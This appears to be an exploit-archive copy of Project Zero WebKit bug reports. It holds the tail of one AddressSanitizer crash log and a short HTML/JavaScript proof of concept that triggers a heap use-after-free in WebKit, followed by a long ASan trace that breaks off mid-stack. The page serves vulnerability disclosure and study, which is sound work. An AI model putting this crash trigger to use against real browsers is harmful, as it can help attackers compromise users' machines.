    #19 0x110c60991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991)
    #20 0x110c60abb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb)
    #21 0x110c60e06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06)
    #22 0x1152a7b2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e)
    #23 0x11558d786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786)
    #24 0x114ae8a05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05)
    #25 0x114ae852f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f)
    #26 0x1149d7431 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7e2431)
    #27 0x1149e6c2f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7f1c2f)
    #28 0x1148f5aef in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x700aef)
    #29 0x1148f088e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fb88e)
    #30 0x114c5c3a1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa673a1)
    #31 0x114c598da in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa648da)
    #32 0x11490e0ad in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7190ad)
    #33 0x114e0879d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1379d)
    #34 0x1149a324c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae24c)
    #35 0x11496786f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #36 0x114447fb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #37 0x114442b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #38 0x1169f37e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #39 0x10d266615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #40 0x10d265c2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #41 0x10cc141f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #42 0x10ca37448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #43 0x10ca40614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #44 0x111f1da04 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6a04)
    #45 0x111f1ff1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
    #46 0x7fff9a64c7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
    #47 0x7fff9a62bf1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
    #48 0x7fff9a62b43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
    #49 0x7fff9a62ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #50 0x7fff904ba934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #51 0x7fff904ba76e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #52 0x7fff904ba5ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #53 0x7fff8e2e5df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #54 0x7fff8e2e5225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #55 0x7fff8e2d9d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #56 0x7fff8e2a3367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #57 0x7fff86665193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #58 0x7fff86663bbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #59 0x10c973b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #60 0x7fff8e1e35ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x60c000086510 is located 16 bytes inside of 128-byte region [0x60c000086500,0x60c000086580)
allocated by thread T0 here:
    #0 0x10ef3c790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff867345a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x111f71db4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4)
    #3 0x111f6712b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b)
    #4 0x111efe995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995)
    #5 0x114e347c0 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3f7c0)
    #6 0x114e34ae3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3fae3)
    #7 0x114e4b383 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc56383)
    #8 0x114e478f0 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc528f0)
    #9 0x114e47770 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52770)
    #10 0x114bfe4d8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa094d8)
    #11 0x114bfe79c in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa0979c)
    #12 0x114e3c080 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc47080)
    #13 0x114f0a287 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd15287)
    #14 0x11459c476 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a7476)
    #15 0x11459c318 in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a7318)
    #16 0x11458bc77 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396c77)
    #17 0x11458a69a in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x39569a)
    #18 0x114de009c in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbeb09c)
    #19 0x114dd9007 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe4007)
    #20 0x114e09d48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
    #21 0x114e09902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
    #22 0x114e08b94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
    #23 0x114e0a58d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
    #24 0x114877661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
    #25 0x1149a31f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
    #26 0x11496786f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #27 0x114447fb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #28 0x114442b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #29 0x1169f37e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)

SUMMARY: AddressSanitizer: negative-size-param (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x41f0b) in __asan_memmove
==1226==ABORTING
-->
HireHackking 
<!--
Source :https://bugs.chromium.org/p/project-zero/issues/detail?id=1114

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function freememory() {
  var a;
  for(var i=0;i<100;i++) {
    a = new Uint8Array(1024*1024);
  }
}
function f1() {
  var iframe = document.getElementById("iframe");
  iframe.srcdoc = "x";
  window.frames.event = window.event;
  freememory();
}
function f2() {
  var h = new XMLHttpRequest();
  h.onreadystatechange = f1;
  h.open("foo","1");
  var e = window.event;
  e.initEvent("1",true,true);
  e.currentTarget.click();
}
</script>
</head>
<body onload=f1()>
<iframe id="iframe" onload="f2()"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==25184==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a000076e80 at pc 0x000115bea4e0 bp 0x7fff52cef2e0 sp 0x7fff52cef2d8
READ of size 8 at 0x61a000076e80 thread T0
    #0 0x115bea4df in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::EventTarget&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x138c4df)
    #1 0x115bc7b72 in WebCore::jsEventCurrentTargetGetter(JSC::ExecState&, WebCore::JSEvent&, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1369b72)
    #2 0x115bc4c06 in long long WebCore::BindingCaller<WebCore::JSEvent>::attribute<&(WebCore::jsEventCurrentTargetGetter(JSC::ExecState&, WebCore::JSEvent&, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1366c06)
    #3 0x1121bd448 in JSC::PropertySlot::customGetter(JSC::ExecState*, JSC::PropertyName) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1587448)
    #4 0x111ef652e in llint_slow_path_get_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c052e)
    #5 0x111f13926 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12dd926)
    #6 0x111f17490 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12e1490)
    #7 0x111f10aca in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12daaca)
    #8 0x111bca172 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf94172)
    #9 0x111b4fa33 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf19a33)
    #10 0x11123d5c1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6075c1)
    #11 0x11123d6eb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6076eb)
    #12 0x11123da36 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x607a36)
    #13 0x1158ea62e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x108c62e)
    #14 0x115bde086 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1380086)
    #15 0x115123415 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c5415)
    #16 0x115122f3f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c4f3f)
    #17 0x1150ebe35 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88de35)
    #18 0x1150ecf83 in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88ef83)
    #19 0x1150ec9aa in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88e9aa)
    #20 0x115020db5 in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c2db5)
    #21 0x114f311df in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d31df)
    #22 0x114f2be4e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6cde4e)
    #23 0x11528c8e1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2e8e1)
    #24 0x115289dfa in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2bdfa)
    #25 0x114f4996d in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6eb96d)
    #26 0x11544048d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe248d)
    #27 0x114fddb1c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77fb1c)
    #28 0x114fa287e in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74487e)
    #29 0x114fa5a53 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x747a53)
    #30 0x114fa407d in WebCore::DocumentLoader::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74607d)
    #31 0x114fa0a92 in WebCore::DocumentLoader::handleSubstituteDataLoadNow() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x742a92)
    #32 0x11250aeaa in WTF::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4eaa)
    #33 0x7fff9d2f6af3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92af3)
    #34 0x7fff9d2f6782 in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92782)
    #35 0x7fff9d2f62d9 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x922d9)
    #36 0x7fff9d2ed7d0 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x897d0)
    #37 0x7fff9d2ece37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #38 0x7fff9b506934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #39 0x7fff9b50676e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #40 0x7fff9b5065ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #41 0x7fff91794df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #42 0x7fff91794225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #43 0x7fff91788d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #44 0x7fff91752367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #45 0x7fff96d41193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #46 0x7fff96d3fbbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #47 0x10cf0cb73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #48 0x7fffa08505ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x61a000076e80 is located 0 bytes inside of 1376-byte region [0x61a000076e80,0x61a0000773e0)
freed by thread T0 here:
    #0 0x10f50bcf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x11255181f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191b81f)
    #2 0x111cb4d58 in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107ed58)
    #3 0x111cb355e in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107d55e)
    #4 0x111cb2003 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107c003)
    #5 0x111cb17e6 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107b7e6)
    #6 0x111cb143a in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107b43a)
    #7 0x111f2b905 in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f5905)
